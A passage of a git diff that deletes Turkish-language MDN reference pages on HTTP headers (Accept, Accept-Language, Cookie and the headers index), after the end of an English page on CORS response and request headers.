{{HTTPHeader("Access-Control-Allow-Credentials")}} header Indicates whether or not the response to the request can be exposed when the <code>credentials</code> flag is true. When used as part of a response to a preflight request, this indicates whether or not the actual request can be made using credentials. Note that simple <code>GET</code> requests are not preflighted, and so if a request is made for a resource with credentials, if this header is not returned with the resource, the response is ignored by the browser and not returned to web content.</p> - -<pre class="brush: none">Access-Control-Allow-Credentials: true -</pre> - -<p><a class="internal" href="#Requests_with_credentials">Credentialed requests</a> are discussed above.</p> - -<h3 id="Access-Control-Allow-Methods">Access-Control-Allow-Methods</h3> - -<p>The {{HTTPHeader("Access-Control-Allow-Methods")}} header specifies the method or methods allowed when accessing the resource. This is used in response to a preflight request. The conditions under which a request is preflighted are discussed above.</p> - -<pre class="brush: none">Access-Control-Allow-Methods: <method>[, <method>]* -</pre> - -<p>An example of a <a class="internal" href="#Preflighted_requests">preflight request is given above</a>, including an example which sends this header to the browser.</p> - -<h3 id="Access-Control-Allow-Headers">Access-Control-Allow-Headers</h3> - -<p>The {{HTTPHeader("Access-Control-Allow-Headers")}} header is used in response to a <a class="internal" href="#Preflighted_requests">preflight request</a> to indicate which HTTP headers can be used when making the actual request.</p> - -<pre class="brush: none">Access-Control-Allow-Headers: <field-name>[, <field-name>]* -</pre> - -<h2 id="The_HTTP_request_headers">The HTTP request headers</h2> - -<p>This section lists headers that clients may use when issuing HTTP requests in order to make use of the cross-origin sharing feature. Note that these headers are set for you when making invocations to servers. Developers using cross-site {{domxref("XMLHttpRequest")}} capability do not have to set any cross-origin sharing request headers programmatically.</p> - -<h3 id="Origin">Origin</h3> - -<p>The {{HTTPHeader("Origin")}} header indicates the origin of the cross-site access request or preflight request.</p> - -<pre class="brush: none">Origin: <origin> -</pre> - -<p>The origin is a URI indicating the server from which the request initiated. It does not include any path information, but only the server name.</p> - -<div class="note"><strong>Note:</strong> The <code>origin</code> can be the empty string; this is useful, for example, if the source is a <code>data</code> URL.</div> - -<p>Note that in any access control request, the {{HTTPHeader("Origin")}} header is <strong>always</strong> sent.</p> - -<h3 id="Access-Control-Request-Method">Access-Control-Request-Method</h3> - -<p>The {{HTTPHeader("Access-Control-Request-Method")}} is used when issuing a preflight request to let the server know what HTTP method will be used when the actual request is made.</p> - -<pre class="brush: none">Access-Control-Request-Method: <method> -</pre> - -<p>Examples of this usage can be <a class="internal" href="#Preflighted_requests">found above.</a></p> - -<h3 id="Access-Control-Request-Headers">Access-Control-Request-Headers</h3> - -<p>The {{HTTPHeader("Access-Control-Request-Headers")}} header is used when issuing a preflight request to let the server know what HTTP headers will be used when the actual request is made.</p> - -<pre class="brush: none">Access-Control-Request-Headers: <field-name>[, <field-name>]* -</pre> - -<p>Examples of this usage can be <a class="internal" href="#Preflighted_requests">found above</a>.</p> - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName('Fetch', '#cors-protocol', 'CORS')}}</td> - <td>{{Spec2('Fetch')}}</td> - <td>New definition; supplants <a href="https://www.w3.org/TR/cors/">W3C CORS</a> specification.</td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility">Browser compatibility</h2> - -<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> - -<p>{{Compat("http.headers.Access-Control-Allow-Origin")}}</p> - -<h3 id="Compatibility_notes">Compatibility notes</h3> - -<ul> - <li>Internet Explorer 8 and 9 expose CORS via the <code>XDomainRequest</code> object, but have a full implementation in IE 10.</li> - <li>While Firefox 3.5 introduced support for cross-site <code>XMLHttpRequests</code> and Web Fonts, certain requests were limited until later versions. Specifically, Firefox 7 introduced the ability for cross-site HTTP requests for WebGL Textures, and Firefox 9 added support for Images drawn on a canvas using <code>drawImage()</code>.</li> -</ul> - -<h2 id="See_also">See also</h2> - -<ul> - <li><a href="/en-US/docs/Web/HTTP/CORS/Errors">CORS errors</a></li> - <li><a href="https://enable-cors.org/server.html">Enable CORS: I want to add CORS support to my server</a></li> - <li>{{domxref("XMLHttpRequest")}}</li> - <li><a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a></li> - <li><a class="external" href="http://www.kendoui.com/blogs/teamblog/posts/11-10-03/using_cors_with_all_modern_browsers.aspx">Using CORS with All (Modern) Browsers</a></li> - <li><a href="http://www.html5rocks.com/en/tutorials/cors/">Using CORS - HTML5 Rocks</a> - <ul> - </ul> - </li> - <li><a class="external" href="https://arunranga.com/examples/access-control/">Code Samples Showing <code>XMLHttpRequest</code> and Cross-Origin Resource Sharing</a></li> - <li><a href="https://github.com/jackblackevo/cors-jsonp-sample">Client-Side & Server-Side (Java) sample for Cross-Origin Resource Sharing (CORS)</a></li> - <li><a class="internal" href="/en-US/docs/Web/HTTP/Server-Side_Access_Control">Cross-Origin Resource Sharing From a Server-Side Perspective (PHP, etc.)</a></li> - <li><a href="https://stackoverflow.com/questions/43871637/no-access-control-allow-origin-header-is-present-on-the-requested-resource-whe/43881141#43881141">Stack Overflow answer with “how to” info for dealing with common problems</a>: - <ul> - <li>How to avoid the CORS preflight</li> - <li>How to use a CORS proxy to get around <em>“No Access-Control-Allow-Origin header”</em></li> - <li>How to fix <em>“Access-Control-Allow-Origin header must not be the wildcard”</em></li> - </ul> - </li> -</ul> - -<div>{{HTTPSidebar}}</div> diff --git a/files/tr/web/http/headers/accept-language/index.html b/files/tr/web/http/headers/accept-language/index.html deleted file mode 100644 index fb3fe1dbe4..0000000000 --- a/files/tr/web/http/headers/accept-language/index.html +++ /dev/null @@ -1,97 +0,0 @@ ---- -title: Accept-Language -slug: Web/HTTP/Headers/Accept-Language -tags: - - HTTP Başlığı - - İçerik görüşmesi -translation_of: Web/HTTP/Headers/Accept-Language ---- -<div>{{HTTPSidebar}}</div> - -<p><strong><code>Accept-Language</code></strong> HTTP başlığı, istemcinin hangi dilleri anlayabildiğini ve hangi dil türünün tercih edildiğini bildirir. (Burada dil derken programlama dili değil, İngilizce gibi doğal dillerden bahsediyoruz.) Sunucu i<a href="/tr/docs/Web/HTTP/Content_negotiation">çerik görüşmesi</a> kullanarak bu önerilerden birini seçip kullanır ve {{HTTPHeader("Content-Language")}} yanıt başlığı aracılığıyla istemciye seçtiği dili bildirir. Tarayıcılar kullanıcı arayüzü diline bakarak bu başlığa uygun değerleri verir ve kullanıcı bunu değiştirebilse de bu pek sık olmaz (ve parmak izine neden olduğundan hoş karşılanmaz).</p> - -<p>Bu başlık, sunucunun kullanıcı tarafından bilinçli olarak belirtilmiş bir URL gibi herhangi bir yoldan dil berlirleme imkanı olmadığında kullanması için verilen bir ipucudur. Sunucunun asla bilinçli bir seçimi geçersiz kılmaması önerilmektedir. <code>Accept-Language</code> içeriği genellikle kullanıcının kontrolünde değildir (örneğin seyahat ederken başka bir ülkede bir internet kafeyi kullanmak gibi); kullanıcı kendi kullanıcı arayüzünün dili dışında bir dilde de sayfayı görüntülemek isteyebilir.</p> - -<p>Eğer sunucu eşleşen hiçbir dilde hizmet veremiyorsa, teoride bir {{HTTPStatus("406")}} (Kabul edilemez) hata kodunu döndürebilir. Ancak, daha iyi bir kullanıcı deneyimi sağlanması için bu nadiren yapılır ve bu durumda genellikle <code>Accept-Language</code> başlığı görmezden gelinir.</p> - -<table class="properties"> - <tbody> - <tr> - <th scope="row">Başlık türü</th> - <td>{{Glossary("Request header")}}</td> - </tr> - <tr> - <th scope="row">{{Glossary("Forbidden header name")}}</th> - <td>hayır</td> - </tr> - <tr> - <th scope="row">{{Glossary("Simple header", "CORS-safelisted request-header")}}</th> - <td>evet</td> - </tr> - </tbody> -</table> - -<h2 id="Sözdizimi">Sözdizimi</h2> - -<pre class="syntaxbox">Accept-Language: <language> -Accept-Language: * - -// {{glossary("quality values", "quality value")}} sözdizimi ile ağırlıklandırılmış birden fazla dil var: -Accept-Language: fr-CH, fr;q=0.9, en;q=0.8, de;q=0.7, *;q=0.5</pre> - -<h2 id="Direktifler">Direktifler</h2> - -<dl> - <dt><code><language></code></dt> - <dd> - <p>Bir dil etiketi (bazen "yerel ayar kimliği" olarak da adlandırılır). Bu direktif 2-3 harften oluşan ve dili demsil eden bir temel dil etiketidir, isteğe bağlı olarak ardından <code>'-'</code> ile ayrılan ek alt etiketler gelebilir. En sık kullanılan ek bilgi ülke veya bölge varyantı (<code>'en-US'</code> veya <code>'fr-CA'</code> gibi) ya da kullanılacak alfabe türüdür (<code>'sr-Latn'</code> gibi). Yazım türü (<code>'de-DE-1996'</code>) gibi diğer varyantlar genellikle bu başlık kapsamında kullanılmaz.</p> - </dd> - <dt><code>*</code></dt> - <dd>Herhangi bir dil; <code>'*'</code> joker karakter olarak kullanılır.</dd> - <dt><code>;q=</code> (q-faktör ağırlıklandırması)</dt> - <dd>Tercih sırasına göre yerleştirilen herhangi bir değer, <em>ağırlık </em>denilen göreceli bir {{glossary("Quality values", "quality value")}} ile ifade edilir.</dd> -</dl> - -<h2 id="Örnekler">Örnekler</h2> - -<pre>Accept-Language: de - -Accept-Language: de-CH - -Accept-Language: en-US,en;q=0.5 -</pre> - -<h2 id="Özellikler">Özellikler</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Özellik</th> - <th scope="col">Başlık</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{RFC("7231", "Accept-Language", "5.3.5")}}</td> - <td>Hypertext Transfer Protocol (HTTP/1.1): Anlambilim ve Bağlam</td> - </tr> - <tr> - <td><a href="https://tools.ietf.org/html/bcp47">BCP 47</a></td> - <td>Dilin Belirlenmesi için Etiketler</td> - </tr> - </tbody> -</table> - -<h2 id="Tarayıcı_uyumluluğu">Tarayıcı uyumluluğu</h2> - -<p class="hidden"><span class="tlid-translation translation" lang="tr">Bu sayfadaki uyumluluk tablosu yapılandırılmış verilerden üretilmiştir. Verilere katkıda bulunmak istiyorsanız, lütfen</span> <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> <span class="tlid-translation translation" lang="tr"> adresini ziyaret edin ve bize bir çekme isteği gönderin.</span></p> - -<p>{{Compat("http.headers.Accept-Language")}}</p> - -<h2 id="Bakınız">Bakınız</h2> - -<ul> - <li>HTTP <a href="/tr/docs/Web/HTTP/Content_negotiation">içerik görüşmesi</a></li> - <li>İçerik görüşmesinin sonucunu içeren başlık: {{HTTPHeader("Content-Language")}}</li> - <li>Diğer benzer başlıklar: {{HTTPHeader("TE")}}, {{HTTPHeader("Accept-Encoding")}}, {{HTTPHeader("Accept-Charset")}}, {{HTTPHeader("Accept")}}</li> -</ul> diff --git a/files/tr/web/http/headers/accept/index.html b/files/tr/web/http/headers/accept/index.html deleted file mode 100644 index 85ffcc2b40..0000000000 --- a/files/tr/web/http/headers/accept/index.html +++ /dev/null @@ -1,99 +0,0 @@ ---- -title: Accept -slug: Web/HTTP/Headers/Accept -tags: - - HTTP - - HTTP Başlığı - - Referans - - İstek başlığı -translation_of: Web/HTTP/Headers/Accept ---- -<p>{{HTTPSidebar}}</p> - -<p>Accept <strong><code>HTTP</code></strong> başlığı, istemcinin hangi içerik tiplerini(<a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME types</a>) anlayabileceğini sunucuya söyler. Sunucu <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTTP/Content_negotiation">content negotiation</a> kullanarak bu tiplerden birini seçer ve istemciye {{HTTPHeader("Content-Type")}} başlığı ile seçimini gönderir. Tarayıcılar bu başlığın belirttiği içerik tipine göre gerekli değerleri ayarlar. CSS, resim, video veya script dosyaları için farklı değerler ayarlanır.</p> - -<table class="properties"> - <tbody> - <tr> - <th scope="row">Başlık türü</th> - <td> - <p>{{Glossary("Request header")}}</p> - </td> - </tr> - <tr> - <th scope="row">{{Glossary("Forbidden header name")}}</th> - <td>hayır</td> - </tr> - <tr> - <th scope="row">{{Glossary("CORS-safelisted request header")}}</th> - <td>Evet ama CORS-güvensiz başlık baytlarını içermemelidir: 0x00-0x1F(0x09 (HT) hariç), <code>"():<>?@[\]{}</code> ve 0x7F(DEL).</td> - </tr> - </tbody> -</table> - -<h2 id="Söz_Dizimi">Söz Dizimi</h2> - -<pre class="syntaxbox notranslate">Accept: <MIME_type>/<MIME_subtype> -Accept: <MIME_type>/* -Accept: */* - -// Çok tipli, <a href="https://developer.mozilla.org/en-US/docs/Glossary/quality_values">ağırlık</a> belirtilebilir söz dizimi: -Accept: text/html, application/xhtml+xml, application/xml;q=0.9, image/webp, */*;q=0.8 -</pre> - -<h2 id="Komutlar">Komutlar</h2> - -<dl> - <dt><code><MIME_type>/<MIME_subtype></code></dt> - <dd>Tek <a href="/en-US/docs/Web/HTTP/Basics_of_HTTP/MIME_types">MIME tip</a>, mesela <code>text/html</code>.</dd> - <dt><code><MIME_type>/*</code></dt> - <dd>Bir MIME tip altında herhangi bir alt tip. <code>image/*</code> tipi <code>image/png</code>, <code>image/svg</code>, <code>image/gif</code> tiplerini kapsar.</dd> - <dt><code>*/*</code></dt> - <dd>Herhangi bir MIME tip</dd> - <dt><code>;q=</code> (ağırlık)</dt> - <dd>Sıralamayı belirtmek için <a href="/en-US/docs/Glossary/Quality_values">ağırlık</a> denilen bir değer kullanılabilir.</dd> -</dl> - -<h2 id="Örnekler">Örnekler</h2> - -<pre class="notranslate">Accept: text/html - -Accept: image/* - -// Çoğu tarayıcıda varsayılan olarak gönderilir -Accept: */* - -// Gezinme için varsayılan -Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8 -</pre> - -<h2 id="Şartname">Şartname</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Şartname</th> - <th scope="col">İsim</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{RFC("7231", "Accept", "5.3.2")}}</td> - <td>Hypertext Transfer Protocol (HTTP/1.1): Semantics and Context</td> - </tr> - </tbody> -</table> - -<h2 id="Tarayıcı_uyumluluğu">Tarayıcı uyumluluğu</h2> - -<p class="hidden">Uyumluluk tablosu hazır verilerden otomatik olarak oluşturulmuştur. Eğer bu verilere katkı yapmak isterseniz lütfen <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> adresini inceleyin.</p> - -<p>{{Compat("http.headers.Accept")}}</p> - -<h2 id="İlişkili_konular">İlişkili konular</h2> - -<ul> - <li>HTTP <a href="/en-US/docs/Web/HTTP/Content_negotiation">content negotiation</a></li> - <li>Content negotiation sonucunu belirten başlık: {{HTTPHeader("Content-Type")}}</li> - <li>Diğer benzer başlıklar: {{HTTPHeader("TE")}}, {{HTTPHeader("Accept-Encoding")}}, {{HTTPHeader("Accept-Charset")}}, {{HTTPHeader("Accept-Language")}}</li> -</ul> diff --git a/files/tr/web/http/headers/cookie/index.html b/files/tr/web/http/headers/cookie/index.html deleted file mode 100644 index dd0338e648..0000000000 --- a/files/tr/web/http/headers/cookie/index.html +++ /dev/null @@ -1,71 +0,0 @@ ---- -title: Çerez -slug: Web/HTTP/Headers/Cookie -tags: - - HTTP - - Çerez -translation_of: Web/HTTP/Headers/Cookie ---- -<div>{{HTTPSidebar}}</div> - -<p><strong><code>Cookie</code></strong><span class="tlid-translation translation" lang="tr"> HTTP istek başlığı, daha önce sunucu tarafından {{HTTPHeader ("Set-Cookie")}} başlığıyla gönderilip tarayıcıda saklanmış olan </span><a href="/tr/docs/Web/HTTP/Cookies">HTTP çerezlerini</a><span class="tlid-translation translation" lang="tr"> içerir.</span></p> - -<p><code>Cookie</code><span class="tlid-translation translation" lang="tr"> başlığı isteğe bağlıdır ve örneğin tarayıcının gizlilik ayarları çerezleri engellediğinde gözardı edilebilir.</span></p> - -<table class="properties"> - <tbody> - <tr> - <th scope="row">Başlık türü</th> - <td>{{Glossary("Request header")}}</td> - </tr> - <tr> - <th scope="row">{{Glossary("Forbidden header name")}}</th> - <td>evet</td> - </tr> - </tbody> -</table> - -<h2 id="Sözdizimi">Sözdizimi</h2> - -<pre class="syntaxbox">Cookie: <cerez-listesi> -Cookie: ad=deger -Cookie: ad=deger; ad2=deger2; ad3=deger3</pre> - -<dl> - <dt><cookie-list></dt> - <dd><code><cookie-adi>=<cookie-degeri></code><span class="tlid-translation translation" lang="tr"> biçimindeki ad ve değer çiftlerinden oluşan bir liste. Listedeki çiftler noktalı virgül ve boşlukla </span>(<code>'; '</code>) <span class="tlid-translation translation" lang="tr">ayrılır.</span></dd> -</dl> - -<h2 id="Örnekler">Örnekler</h2> - -<pre>Cookie: PHPSESSID=298zf09hf012fh2; csrftoken=u32t4o3tb3gg43; _gat=1;</pre> - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Tanım</th> - <th scope="col">Başlık</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{RFC("6265", "Cookie", "5.4")}}</td> - <td>HTTP State Management Mechanism</td> - </tr> - </tbody> -</table> - -<h2 id="Tarayıcı_uyumluluğu">Tarayıcı uyumluluğu</h2> - -<p class="hidden"><span class="tlid-translation translation" lang="tr">Bu sayfadaki uyumluluk tablosu yapılandırılmış verilerden üretilmiştir. Verilere katkıda bulunmak istiyorsanız, lütfen </span> <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a><span class="tlid-translation translation" lang="tr"> adresini ziyaret edin ve bize bir çekme isteği gönderin.</span></p> - -<p>{{Compat("http.headers.Cookie")}}</p> - -<h2 id="Bakınız">Bakınız</h2> - -<ul> - <li>{{HTTPHeader("Set-Cookie")}}</li> - <li>{{domxref("Document.cookie")}}</li> -</ul> diff --git a/files/tr/web/http/headers/index.html b/files/tr/web/http/headers/index.html deleted file mode 100644 index e117a7583b..0000000000 --- a/files/tr/web/http/headers/index.html +++ /dev/null @@ -1,370 +0,0 @@ ---- -title: HTTP başlıkları -slug: Web/HTTP/Headers -tags: - - HTTP - - Headers - - NeedsTranslation - - Networking - - Reference - - TopicStub -translation_of: Web/HTTP/Headers ---- -<div>{{HTTPSidebar}}</div> - -<p><span class="tlid-translation translation" lang="tr">HTTP başlıkları, istemci ve sunucunun istek veya yanıtla birlikte ek bilgiler iletebilmesini sağlar. Bir istek başlığı, büyük/küçük harfe duyarsız olarak başlığın adı, iki nokta üst üste </span> '<code>:</code>'<span class="tlid-translation translation" lang="tr">, ve ardından değeri (satır sonu karakterleri içermeden) şeklindedir. Değerden önceki boşluk karakterleri dikkate alınmaz.</span></p> - -<p><span class="tlid-translation translation" lang="tr">'X-' öneki kullanılarak çeşitli özel başlıklar eklenebilir, ancak standart olmayan alanların </span><a href="https://tools.ietf.org/html/rfc6648">RFC 6648</a><span class="tlid-translation translation" lang="tr">'de standart hale gelmesinin neden olduğu rahatsızlıklardan dolayı bu uygulama Haziran 2012'de kaldırılmıştır; diğerleri ise asıl içeriği </span><a class="external" href="http://tools.ietf.org/html/rfc4229">RFC 4229</a><span class="tlid-translation translation" lang="tr">'da tanımlanan bir </span><a class="external" href="http://www.iana.org/assignments/message-headers/perm-headers.html">IANA kayıt defteri</a><span class="tlid-translation translation" lang="tr">'nde listelenmiştir. IANA, <a href="http://www.iana.org/assignments/message-headers/prov-headers.html">önerilen yeni HTTP mesaj başlıkları kaydını</a> da tutmaktadır.</span></p> - -<p>Başlık bilgileri bağlamlarına (context) göre gruplanabilir:</p> - -<ul> - <li>{{Glossary("General header")}}: Başlık bilgileri hem isteklerde hem de yanıtlarda görülür. Başlık bilgileri gövde hakkında direktifler içerir.</li> - <li>{{Glossary("Request header")}}: Çekilen kaynak veya istemci hakkında daha fazla bilgi içeren başlık bilgileridir. Sunucuya gönderilir.</li> - <li>{{Glossary("Response header")}}: Sunucudan alınan yanıt hakkında ek bilgi içeren başlık bilgileridir. Örneğin sunucuya yapılan istek sonucu veya sunucu hakkında bilgi içerir. Tarayıcıya gelir.</li> - <li>{{Glossary("Entity header")}}: Entity gövdesi hakkında daha fazla bilgi içeren başlık bilgileridir. Örneğin MIME-tipi veya içerik uzunluğu.</li> -</ul> - -<p>Başlık bilgileri aynı zamanda vekil sunucuların bunları nasıl ele aldığına göre de gruplanabilir:</p> - -<dl> - <dt><a id="e2e" name="e2e"></a>Uçtan-uca başlık bilgileri (End-to-end headers)</dt> - <dd>These headers must be transmitted to the final recipient of the message; that is, the server for a request or the client for a response. Intermediate proxies must retransmit end-to-end headers unmodified and caches must store them.</dd> - <dt><a id="hbh" name="hbh"></a>Hop-by-hop headers</dt> - <dd>These headers are meaningful only for a single transport-level connection and must not be retransmitted by proxies or cached. Such headers are: {{ httpheader("Connection") }}, {{ httpheader("Keep-Alive") }}, {{ httpheader("Proxy-Authenticate") }}, {{ httpheader("Proxy-Authorization") }}, {{ httpheader("TE") }}, {{ httpheader("Trailer") }}, {{ httpheader("Transfer-Encoding") }} and {{ httpheader("Upgrade") }}. Note that only hop-by-hop headers may be set using the {{ httpheader("Connection") }} general header.</dd> -</dl> - -<p>The following list summarizes HTTP headers by their usage category. For an alphabetical list, see the navigation on the left side.</p> - -<h2 id="Authentication">Authentication</h2> - -<dl> - <dt>{{HTTPHeader("WWW-Authenticate")}}</dt> - <dd>Bir kaynağa erişmek için kullanılacak authentication yöntemini tanımlar.</dd> - <dt>{{HTTPHeader("Authorization")}}</dt> - <dd>Contains the credentials to authenticate a user agent with a server.</dd> - <dt>{{HTTPHeader("Proxy-Authenticate")}}</dt> - <dd>Defines the authentication method that should be used to gain access to a resource behind a Proxy server.</dd> - <dt>{{HTTPHeader("Proxy-Authorization")}}</dt> - <dd>Contains the credentials to authenticate a user agent with a proxy server.</dd> -</dl> - -<h2 id="Caching">Caching</h2> - -<dl> - <dt>{{HTTPHeader("Age")}}</dt> - <dd>The time in seconds the object has been in a proxy cache.</dd> - <dt>{{HTTPHeader("Cache-Control")}}</dt> - <dd>Specifies directives for caching mechanisms in both requests and responses.</dd> - <dt>{{HTTPHeader("Expires")}}</dt> - <dd>The date/time after which the response is considered stale.</dd> - <dt>{{HTTPHeader("Pragma")}}</dt> - <dd>Implementation-specific header that may have various effects anywhere along the request-response chain. Used for backwards compatibility with HTTP/1.0 caches where the <code>Cache-Control</code> header is not yet present.</dd> - <dt>{{HTTPHeader("Warning")}}</dt> - <dd>A general warning field containing information about possible problems.</dd> -</dl> - -<h2 id="Client_hints">Client hints</h2> - -<dl> - <dt>{{HTTPHeader("Accept-CH")}}</dt> - <dd>...</dd> - <dt>{{HTTPHeader("Content-DPR")}}</dt> - <dd>...</dd> - <dt>{{HTTPHeader("DPR")}}</dt> - <dd>...</dd> - <dt>{{HTTPHeader("Downlink")}}</dt> - <dd>...</dd> - <dt>{{HTTPHeader("Save-Data")}}</dt> - <dd>...</dd> - <dt>{{HTTPHeader("Viewport-Width")}}</dt> - <dd>...</dd> - <dt>{{HTTPHeader("Width")}}</dt> - <dd>...</dd> -</dl> - -<dl> - <dt> - <h2 id="Conditionals">Conditionals</h2> - </dt> - <dt>{{HTTPHeader("Last-Modified")}}</dt> - <dd>It is a validator, the last modification date of the resource, used to compare several versions of the same resource. It is less accurate than {{HTTPHeader("ETag")}}, but easier to calculate in some environments. Conditional requests using {{HTTPHeader("If-Modified-Since")}} and {{HTTPHeader("If-Unmodified-Since")}} use this value to change the behavior of the request.</dd> - <dt>{{HTTPHeader("ETag")}}</dt> - <dd>It is a validator, a unique string identifying the version of the resource. Conditional requests using {{HTTPHeader("If-Match")}} and {{HTTPHeader("If-None-Match")}} use this value to change the behavior of the request.</dd> - <dt>{{HTTPHeader("If-Match")}}</dt> - <dd>Makes the request conditional and applies the method only if the stored resource matches one of the given ETags.</dd> - <dt>{{HTTPHeader("If-None-Match")}}</dt> - <dd>Makes the request conditional and applies the method only if the stored resource doesn't match any of the given ETags. This is used to update caches (for safe requests), or to prevent to upload a new resource when one is already existing.</dd> - <dt>{{HTTPHeader("If-Modified-Since")}}</dt> - <dd>Makes the request conditional and expects the entity to be transmitted only if it has been modified after the given date. This is used to transmit data only when the cache is out of date.</dd> - <dt>{{HTTPHeader("If-Unmodified-Since")}}</dt> - <dd>Makes the request conditional and expects the entity to be transmitted only if it has not been modified after the given date. This is used to ensure the coherence of a new fragment of a specific range with previous ones, or to implement an optimistic concurrency control system when modifying existing documents.</dd> -</dl> - -<h2 id="Connection_management">Connection management</h2> - -<dl> - <dt>{{HTTPHeader("Connection")}}</dt> - <dd>Controls whether the network connection stays open after the current transaction finishes.</dd> - <dt>{{HTTPHeader("Keep-Alive")}}</dt> - <dd>Controls how long a persistent connection should stay open.</dd> -</dl> - -<h2 id="Content_negotiation">Content negotiation</h2> - -<dl> - <dt>{{HTTPHeader("Accept")}}</dt> - <dd>Informs the server about the types of data that can be sent back. It is MIME-type.</dd> - <dt>{{HTTPHeader("Accept-Charset")}}</dt> - <dd>Informs the server about which character set the client is able to understand.</dd> - <dt>{{HTTPHeader("Accept-Encoding")}}</dt> - <dd>Informs the server about the encoding algorithm, usually a compression algorithm, that can be used on the resource sent back.</dd> - <dt>{{HTTPHeader("Accept-Language")}}</dt> - <dd>Informs the server about the language the server is expected to send back. This is a hint and is not necessarily under the full control of the user: the server should always pay attention not to override an explicit user choice (like selecting a language in a drop down list).</dd> -</dl> - -<dl> -</dl> - -<h2 id="Controls">Controls</h2> - -<dl> - <dt>{{HTTPHeader("Expect")}}</dt> - <dd>Indicates expectations that need to be fulfilled by the server in order to properly handle the request.</dd> - <dt>{{HTTPHeader("Max-Forwards")}}</dt> - <dd>...</dd> -</dl> - -<h2 id="Cookies">Cookies</h2> - -<dl> - <dt>{{HTTPHeader("Cookie")}}</dt> - <dd>Contains stored <a href="/en-US/docs/Web/HTTP/Cookies">HTTP cookies</a> previously sent by the server with the {{HTTPHeader("Set-Cookie")}} header.</dd> - <dt>{{HTTPHeader("Set-Cookie")}}</dt> - <dd>Send cookies from the server to the user agent.</dd> - <dt>{{HTTPHeader("Cookie2")}} {{obsolete_inline}}</dt> - <dd>Used to contain an HTTP cookie, previously sent by the server with the {{HTTPHeader("Set-Cookie2")}} header, but has been obsoleted by the specification. Use {{HTTPHeader("Cookie")}} instead.</dd> - <dt>{{HTTPHeader("Set-Cookie2")}} {{obsolete_inline}}</dt> - <dd>Used to send cookies from the server to the user agent, but has been obsoleted by the specification. Use {{HTTPHeader("Set-Cookie")}} instead.</dd> - <dt> - <h2 id="CORS">CORS</h2> - </dt> - <dt>{{HTTPHeader("Access-Control-Allow-Origin")}}</dt> - <dd>Indicates whether the response can be shared.</dd> - <dt>{{HTTPHeader("Access-Control-Allow-Credentials")}}</dt> - <dd>Indicates whether the response to the request can be exposed when the credentials flag is true.</dd> - <dt>{{HTTPHeader("Access-Control-Allow-Headers")}}</dt> - <dd>Used in response to a preflight request to indicate which HTTP headers can be used when making the actual request.</dd> - <dt>{{HTTPHeader("Access-Control-Allow-Methods")}}</dt> - <dd>Specifies the method or methods allowed when accessing the resource in response to a preflight request.</dd> - <dt>{{HTTPHeader("Access-Control-Expose-Headers")}}</dt> - <dd>Indicates which headers can be exposed as part of the response by listing their names.</dd> - <dt>{{HTTPHeader("Access-Control-Max-Age")}}</dt> - <dd>Indicates how long the results of a preflight request can be cached.</dd> - <dt>{{HTTPHeader("Access-Control-Request-Headers")}}</dt> - <dd>Used when issuing a preflight request to let the server know which HTTP headers will be used when the actual request is made.</dd> - <dt>{{HTTPHeader("Access-Control-Request-Method")}}</dt> - <dd>Used when issuing a preflight request to let the server know which <a href="/en-US/docs/Web/HTTP/Methods">HTTP method</a> will be used when the actual request is made.</dd> - <dt>{{HTTPHeader("Origin")}}</dt> - <dd>Indicates where a fetch originates from.</dd> - <dt>{{HTTPHeader("Timing-Allow-Origin")}}</dt> - <dd>Specifies origins that are allowed to see values of attributes retrieved via features of the <a href="/en-US/docs/Web/API/Resource_Timing_API">Resource Timing API</a>, which would otherwise be reported as zero due to cross-origin restrictions.</dd> -</dl> - -<h2 id="Do_Not_Track">Do Not Track</h2> - -<dl> - <dt>{{HTTPHeader("DNT")}}</dt> - <dd>Used for expressing the user's tracking preference.</dd> - <dt>{{HTTPHeader("Tk")}}</dt> - <dd>Indicates the tracking status that applied to the corresponding request.</dd> -</dl> - -<h2 id="Downloads">Downloads</h2> - -<dl> - <dt>{{HTTPHeader("Content-Disposition")}}</dt> - <dd>Is a response header if the resource transmitted should be displayed inline (default behavior when the header is not present), or it should be handled like a download and the browser should present a 'Save As' window.</dd> -</dl> - -<h2 id="Message_body_information">Message body information</h2> - -<dl> - <dt>{{HTTPHeader("Content-Length")}}</dt> - <dd>indicates the size of the entity-body, in decimal number of octets, sent to the recipient.</dd> - <dt>{{HTTPHeader("Content-Type")}}</dt> - <dd>Indicates the media type of the resource.</dd> - <dt>{{HTTPHeader("Content-Encoding")}}</dt> - <dd>Used to specify the compression algorithm.</dd> - <dt>{{HTTPHeader("Content-Language")}}</dt> - <dd>Describes the language(s) intended for the audience, so that it allows a user to differentiate according to the users' own preferred language.</dd> - <dt>{{HTTPHeader("Content-Location")}}</dt> - <dd>Indicates an alternate location for the returned data.</dd> - <dt> - <h2 id="Proxies">Proxies</h2> - </dt> -</dl> - -<dl> - <dt>{{HTTPHeader("Forwarded")}}</dt> - <dd>Contains information from the client-facing side of proxy servers that is altered or lost when a proxy is involved in the path of the request.</dd> - <dt>{{HTTPHeader("X-Forwarded-For")}} {{non-standard_inline}}</dt> - <dd>Identifies the originating IP addresses of a client connecting to a web server through an HTTP proxy or a load balancer.</dd> - <dt>{{HTTPHeader("X-Forwarded-Host")}} {{non-standard_inline}}</dt> - <dd>Identifies the original host requested that a client used to connect to your proxy or load balancer.</dd> - <dt>{{HTTPHeader("X-Forwarded-Proto")}} 